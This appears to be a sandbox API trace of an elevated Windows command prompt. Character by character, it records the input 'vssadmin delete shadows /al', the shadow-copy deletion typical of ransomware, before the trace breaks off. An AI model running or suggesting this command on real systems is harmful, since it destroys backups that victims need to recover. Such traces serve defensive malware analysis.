WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecffc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffc38*=0x2, lpOverlapped=0x0) returned 1 [0127.762] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x158ecffc68 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] GetFileType (hFile=0x254) returned 0x3 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0127.762] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x158ecffc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffc38*=0x34, lpOverlapped=0x0) returned 1 [0127.762] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecffc68 | out: _Buffer="\r\n") returned 2 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] GetFileType (hFile=0x254) returned 0x3 [0127.762] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.762] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecffc38, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffc38*=0x2, lpOverlapped=0x0) returned 1 [0127.763] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffcc00e0000 [0127.763] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="CopyFileExW") returned 0x7ffcc00fe830 [0127.763] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="IsDebuggerPresent") returned 0x7ffcc00fe300 [0127.763] GetProcAddress (hModule=0x7ffcc00e0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffcbf260a40 [0127.763] ??_V@YAXPEAX@Z () returned 0x1 [0127.763] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.763] GetFileType (hFile=0x248) returned 0x3 [0127.763] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0127.763] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x158ecffaa8 | out: TokenHandle=0x158ecffaa8*=0x0) returned 0xc000007c [0127.763] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x158ecffaa8 | out: TokenHandle=0x158ecffaa8*=0x94) returned 0x0 [0127.763] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x158ecffa58, TokenInformationLength=0x4, ReturnLength=0x158ecffa60 | out: TokenInformation=0x158ecffa58, ReturnLength=0x158ecffa60) returned 0x0 [0127.763] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x158ecffa60, TokenInformationLength=0x4, ReturnLength=0x158ecffa58 | out: TokenInformation=0x158ecffa60, ReturnLength=0x158ecffa58) returned 0x0 [0127.763] NtClose (Handle=0x94) returned 0x0 [0127.763] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x158ecffa70, nSize=0x0, Arguments=0x158ecffa78 | out: lpBuffer="\x5da0\x92a6\x209") returned 0xf [0127.763] GetProcessHeap () returned 0x20992a60000 [0127.763] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x218) returned 0x20992a66910 [0127.764] GetConsoleTitleW (in: lpConsoleTitle=0x158ecffac0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0127.765] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0127.765] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0127.766] GetProcessHeap () returned 0x20992a60000 [0127.766] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66910) returned 1 [0127.766] LocalFree (hMem=0x20992a65da0) returned 0x0 [0127.767] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecff8e8 | out: _Buffer="\r\n") returned 2 [0127.767] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.767] GetFileType (hFile=0x254) returned 0x3 [0127.767] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0127.767] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8b8*=0x2, lpOverlapped=0x0) returned 1 [0127.767] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0127.767] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0127.767] malloc (_Size=0x107ce) returned 0x20992c40060 [0127.767] _vsnwprintf (in: _Buffer=0x20992c40060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x158ecff8f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0127.768] _vsnwprintf (in: _Buffer=0x20992c40086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x158ecff8f8 | out: _Buffer=">") returned 1 [0127.768] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.768] GetFileType (hFile=0x254) returned 0x3 [0127.768] _get_osfhandle (_FileHandle=1) returned 0x254 [0127.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0127.768] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x158ecff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8e8*=0x14, lpOverlapped=0x0) returned 1 [0127.768] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.768] GetFileType (hFile=0x248) returned 0x3 [0127.768] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.768] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.768] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0127.768] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.768] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.768] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.768] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.768] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.768] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.768] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.768] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.768] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.768] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.769] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.769] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0127.769] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.769] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.770] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.770] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.770] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.771] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0127.771] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.771] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0127.772] _get_osfhandle (_FileHandle=0) returned 0x248 [0127.772] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.772] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0127.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0127.772] 